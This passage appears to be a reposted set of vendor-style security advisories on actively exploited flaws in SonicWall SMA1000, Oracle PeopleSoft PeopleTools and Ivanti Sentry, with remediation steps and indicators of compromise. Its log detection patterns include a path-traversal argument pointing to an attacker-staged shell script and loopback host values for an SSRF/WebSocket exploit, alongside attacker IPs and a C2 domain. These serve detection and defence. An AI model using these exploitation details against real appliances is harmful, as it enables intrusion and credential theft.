Because active exploitation has been confirmed, organizations should not rely solely on patching. SonicWall additionally recommends:
Performing a thorough forensic review for indicators of compromise.
Re-imaging physical appliances or redeploying virtual appliances if compromise is identified.
Changing user and administrator passwords.
Resetting TOTP tokens following confirmed compromise.
Customers should consult the SonicWall security advisory for the latest remediation guidance and platform hotfix availability.
Observed exploitation
Prior to SonicWall’s official vulnerability disclosure, our Managed Detection and Response team observed active, targeted exploitation of internet-facing SMA 1000-series appliances. Threat actors were primarily leveraging the perimeter appliance as a stealthy initial access vector, executing commands on the operating system by bypassing traditional input validation controls. Once they established a foothold on the appliance, the actors systematically extracted high-value credentials, active session databases, and Time-Based One-Time Password (TOTP) multi-factor authentication (MFA) seed configurations. This local harvesting was designed to ensure long-term, persistent access that could survive standard network-level remediations.
With these harvested resources, the threat actors quickly shifted to lateral movement, pivoting from the compromised appliance directly into the internal corporate network. Specifically, we observed a sequence of anomalous, VPN-less Active Directory authentications targeting core domain controllers. These authentications originated directly from the appliance’s internal IP address, using atypical, non-corporate workstation client names (such as kali or other non-inventory hostnames) under the context of the appliance’s integrated LDAP service account. This unique behavior of direct, machine-level lateral movement with no corresponding active VPN tunnel confirmed that the appliance itself had been fully compromised and was acting as an unmonitored backdoor into the corporate directory infrastructure.
Artifacts or evidence sources and IOCs
Rapid7 recommends reviewing appliance logs for evidence of active exploitation, including the following characteristic behaviors and specific log indicators:
Characteristic Behaviors
Websocket exploit IOC log patterns: extraweb_access.log entries containing the strings (“GET” AND “wsproxy” AND “=-3389” AND “ 101 “) indicate interactions with the niche affected service. If suspicious host parameter values such as “0.0.0.0”, “localhost”, or “::ffff:127.0.0.1” are present, that’s indicative of likely exploitation of CVE-2026-15409. Note that “serviceType=SSH” was used in our published materials, but options such as “serviceType=TELNET” are viable alternatives.
Hotfix removal exploit IOC log patterns: The ctrl-service.log shows the hotfix-removal utility (/usr/local/bin/remove_hotfix) being invoked with traversal sequences pointing to attacker-staged shell script payloads (e.g., ../../../../../../tmp/sma1000_5c47.sh). This is indicative of successful exploitation of CVE-2026-15410.
Internet-facing probing: Enumeration of the SMA portal, including repeated requests to /auth1.html, path-traversal attempts, and generic file/enumeration requests (e.g., /.env, /api/sonicos/is-sslvpn-enabled).
Authentication activity: Authentication-API activity against /__api__/logon/<session-id>/authenticate.
Sensitive path access: Access to sensitive appliance paths such as /tmp/temp.db*, consistent with theft of stored session data.
AD/Service Account Compromise: NTLM logons (Windows Event ID 4624, logon type 3) into internal domain controllers sourced from the appliance’s internal IP address, using attacker-controlled workstation names (e.g., kali) without a corresponding VPN session.
extraweb_access.log: Requests to /__api__/login or /__api__/logout returning HTTP 200, and requests to /wsproxy containing suspicious host parameters returning HTTP 101.
Configuration artifacts
/var/lib/unit/conf.json containing routes for /__api__/login or /__api__/logout, which are not present in legitimate configurations.
Atomic Indicators
F.N.S Holdings Limited (ASN – 206092): The threat actor(s) utilized varying IP addresses, but they belonged to the VPN hosting provider FNS Holdings Limited. Limit or block access to FNS Holdings Limited if there is no business need. For reference, the IP addresses we observed were:
45.131.194.0/24
45.146.54.0/24
63.135.161.0/24
173.239.211.0/24
193.37.32[.]179
193.37.32[.]214
216.73.163[.]151
216.73.163[.]158
If any indicators of compromise are identified, organizations should treat the appliance as compromised and follow SonicWall’s recovery guidance.
Rapid7 customers
Organizations should prioritize identifying all internet-facing SonicWall SMA1000 appliances and determine whether affected software versions remain deployed. Given SonicWall’s and Rapid7’s confirmation of active exploitation, exposed appliances should be considered high-priority assets for remediation.
Security teams should also review available authentication, web access, and appliance management logs for the indicators published by SonicWall to determine whether follow-up incident response activities are warranted.
Exposure Command, InsightVM, and Nexpose
Exposure Command, InsightVM, and Nexpose customers will be able to assess exposure to CVE-2026-15409 and CVE-2026-15410 with authenticated vulnerability checks available in the July 15 content release.
On June 10, 2026, Oracle published a security alert for CVE-2026-35273, a critical vulnerability in the Updates Environment Management component of PeopleSoft Enterprise PeopleTools. Oracle released an out-of-band patch the same day as the advisory, underscoring the urgency of remediation. The vulnerability has a CVSSv3.1 score of 9.8 and is remotely exploitable without authentication. Per the vendor advisory, successful exploitation may result in remote code execution (RCE). TrendAI has classified the underlying flaw as a server-side request forgery (CWE-918). PeopleTools versions 8.61 and 8.62 are affected.
CVE-2026-35273 was reported to Oracle through TrendAI’s Zero Day Initiative. According to a report published by Mandiant on June 11, 2026, this vulnerability has been exploited in the wild as a zero-day prior to the vendor security alert, with active exploitation observed between May 27 and June 9, 2026, predating Oracle’s advisory by two weeks.
Mandiant has attributed the campaign to UNC6240 (ShinyHunters), a financially motivated cybercriminal collective known for data theft and extortion. ShinyHunters has been linked to breaches across cloud services, SaaS platforms, and telecommunications providers, frequently exploiting weak authentication controls, stolen credentials, and cloud misconfigurations rather than deploying sophisticated malware.
Based on information published by Mandiant, the campaign heavily targeted the higher education sector; 68 percent of the more than 100 notified organizations were universities and colleges. The observed exploitation targeted PeopleSoft’s Environment Management Hub (PSEMHUB) endpoints, and data stolen during the campaign was published on the ShinyHunters Data Leak Site (DLS) on June 9, 2026.
The /PSIGW/HttpListeningConnector URI path appears in both the indicators of compromise for this campaign and in a PeopleSoft exploit chain for CVE-2013-3821, detailed by Lexfo in 2017. A related XML External Entity (XXE) vulnerability, CVE-2017-3548, targeted a different Integration Gateway connector (PeopleSoftServiceListeningConnector) under the same /PSIGW/ path.
Technical overview
TrendAI’s detection signatures for CVE-2026-35273 classify the underlying vulnerability as an SSRF. These include IPS Rule 1012580 (“Oracle Peoplesoft PeopleTools SSRF Vulnerability”) and DDI Rule 5855 (“Peoplesoft PeopleTools Environment Management Hub (PSEMHUB) SSRF Exploit”). Mandiant describes CVE-2026-35273 as a critical remote code execution vulnerability, indicating that the SSRF serves as the mechanism through which code execution is achieved. Based on Mandiant’s analysis, two endpoints are involved in exploitation: /PSEMHUB/hub and /PSIGW/HttpListeningConnector. The exploit chain may also cause the target system to make outbound SMB connections (TCP port 445) to external destinations, potentially allowing attackers to capture Windows machine-account NetNTLM hashes.
Post-exploitation activity observed by Mandiant included the deployment of MeshCentral (an open-source, and self-hosted web-based remote monitoring and management platform) remote management agents configured to masquerade as Microsoft Azure services (e.g., meshagent64-azure-ops.exe), with C2 communications directed to wss://azurenetfiles[.]net:443/agent.ashx. The attackers performed internal reconnaissance of PeopleSoft configurations, deployed lateral movement scripts, and exfiltrated data using zstd compression.
Mitigation guidance
Organizations running PeopleTools versions 8.61 or 8.62 should apply the vendor-supplied patch on an emergency basis, without waiting for a regular patch cycle to occur. Oracle has characterized this as a high-priority risk reduction measure.
In addition to patching, organizations should implement the following compensating controls:
Disable the Environment Management Hub (EMHub) Service in multi-server configurations, or completely remove the PSEMHUB application in single-server configurations.
Block external access to /PSEMHUB/* and /PSIGW/HttpListeningConnector at the network perimeter or firewall level. Per Mandiant, restricting these endpoints is considered non-breaking for standard end-user PeopleSoft Internet Architecture (PIA) browser sessions.
Monitor outbound SMB traffic (TCP port 445) from PeopleSoft servers to untrusted external destinations.
Given that exploitation occurred as early as May 27, 2026, Rapid7 strongly recommends investigating for signs of compromise even after patching, using the indicators of compromise outlined below.
Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-35273 with authenticatedvulnerability checks available in the 12th June 2026 content release.
Intelligence Hub
Customers leveraging Rapid7’s Intelligence Hub can track the latest developments surrounding CVE-2026-35273, including indicators of compromise (IOCs) from the Mandiant report published on June 11, 2026.
Indicators of compromise
The following indicators of compromise are sourced from Mandiant’s report. Mandiant has also published a GTI collection with additional IOCs for registered users.
Network indicators
Staging and C2 infrastructure:
142.11.200[.]186
142.11.200[.]187
142.11.200[.]188
142.11.200[.]189
142.11.200[.]190
azurenetfiles[.]net (C2 domain masquerading as Microsoft Azure)
Unexpected .jsp files under <PS_CFG_HOME>/webserv/<domain>/applications/peoplesoft/PSEMHUB.war/
Unauthorized files or directories under …/PSEMHUB.war/envmetadata/transactions/
Unexpected directories named logs, persistantstorage, or scratchpad under PSEMHUB paths
Recently created or modified .xml files under <docroot>/envmetadata/data/environment/ (potential XMLDecoder persistence)
Defacement and extortion marker file: README-IF-YOU-SEE-THIS-YOUVE-BEEN-HACKED.TXT
Log-based indicators
HTTP POST requests to the following endpoints from external source IPs:
/PSEMHUB/hub
/PSIGW/HttpListeningConnector
Requests to /PSIGW/HttpListeningConnector containing loopback addresses (127.0.0.1, localhost, ::1) or internal IP ranges within request headers or parameters may indicate SSRF exploitation.
On June 9, 2026, Ivanti published a security advisory for two critical vulnerabilities affecting Ivanti Sentry (formerly known as MobileIron Sentry), which per the vendor website is an “in-line gateway that manages, encrypts, and secures traffic between the mobile device and back-end enterprise systems”. The most severe issue, CVE-2026-10520, is an OS command injection vulnerability with a CVSS score of 10.0 that allows a remote unauthenticated attacker to achieve remote code execution (RCE) with root privileges. The second vulnerability, CVE-2026-10523, is an authentication bypass vulnerability with a CVSS score of 9.9 that allows a remote unauthenticated attacker to create arbitrary administrative accounts and obtain full administrative access. Ivanti has stated that they are not aware of any customers being exploited by either of these vulnerabilities at the time of disclosure.
Authentication Bypass Using an Alternate Path or Channel (CWE-288)
On June 10, 2026, watchTowr published a technical analysis of CVE-2026-10520 that includes a proof-of-concept (PoC) exploit for unauthenticated RCE. Given the trivial nature of exploitation and the availability of a public PoC, exploitation in-the-wild is likely to begin. Ivanti Sentry has featured on the CISA KEV list twice in the past (for the vulnerabilities CVE-2023-38035 and CVE-2020-15505), so we know threat actors will likely target this product.
Organizations running affected versions of Ivanti Sentry should remediate these issues on an urgent basis before exploitation in-the-wild begins.
Technical overview for CVE-2026-10520
Based upon the technical analysis by watchTowr, CVE-2026-10520 resides in the ConfigServiceController class within the Sentry web application, which is accessible via a POST request to the unauthenticated endpoint /mics/api/v2/sentry/mics-config/handleMessage.
The handleMessage endpoint accepts an attacker supplied message parameter that is parsed as an internal configuration command. This ultimately results in arbitrary OS command execution as root with an attacker control OS command. Shown below is an example HTTP request generated by the public PoC to execute the id command on an affected system:
A vendor-supplied update is available to remediate both CVE-2026-10520 and CVE-2026-10523. The following versions of Ivanti Sentry are affected:
Ivanti Sentry 10.7.0 and below
Ivanti Sentry 10.6.1 and below
Ivanti Sentry 10.5.1 and below
The following fixed versions of Ivanti Sentry remediate both vulnerabilities:
Ivanti Sentry 10.7.1
Ivanti Sentry 10.6.2
Ivanti Sentry 10.5.2
Given the critical severity of these vulnerabilities, the availability of a public PoC exploit for CVE-2026-10520, and the unauthenticated attack vector, Rapid7 strongly recommends updating affected Ivanti Sentry appliances on an urgent basis, outside of normal patching cycles.
Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-10520 and CVE-2026-10523 with unauthenticated vulnerability checks expected to be available in the June 11 content release.
Updates
June 10, 2026: Initial publication.
The collective thoughts of the interwebz
Manage Consent
To provide the best experiences, we use technologies like cookies to store and/or access device information. Consenting to these technologies will allow us to process data such as browsing behavior or unique IDs on this site. Not consenting or withdrawing consent, may adversely affect certain features and functions.
Functional
Always active
The technical storage or access is strictly necessary for the legitimate purpose of enabling the use of a specific service explicitly requested by the subscriber or user, or for the sole purpose of carrying out the transmission of a communication over an electronic communications network.
Preferences
The technical storage or access is necessary for the legitimate purpose of storing preferences that are not requested by the subscriber or user.
Statistics
The technical storage or access that is used exclusively for statistical purposes.The technical storage or access that is used exclusively for anonymous statistical purposes. Without a subpoena, voluntary compliance on the part of your Internet Service Provider, or additional records from a third party, information stored or retrieved for this purpose alone cannot usually be used to identify you.
Marketing
The technical storage or access is required to create user profiles to send advertising, or to track the user on a website or across several websites for similar marketing purposes.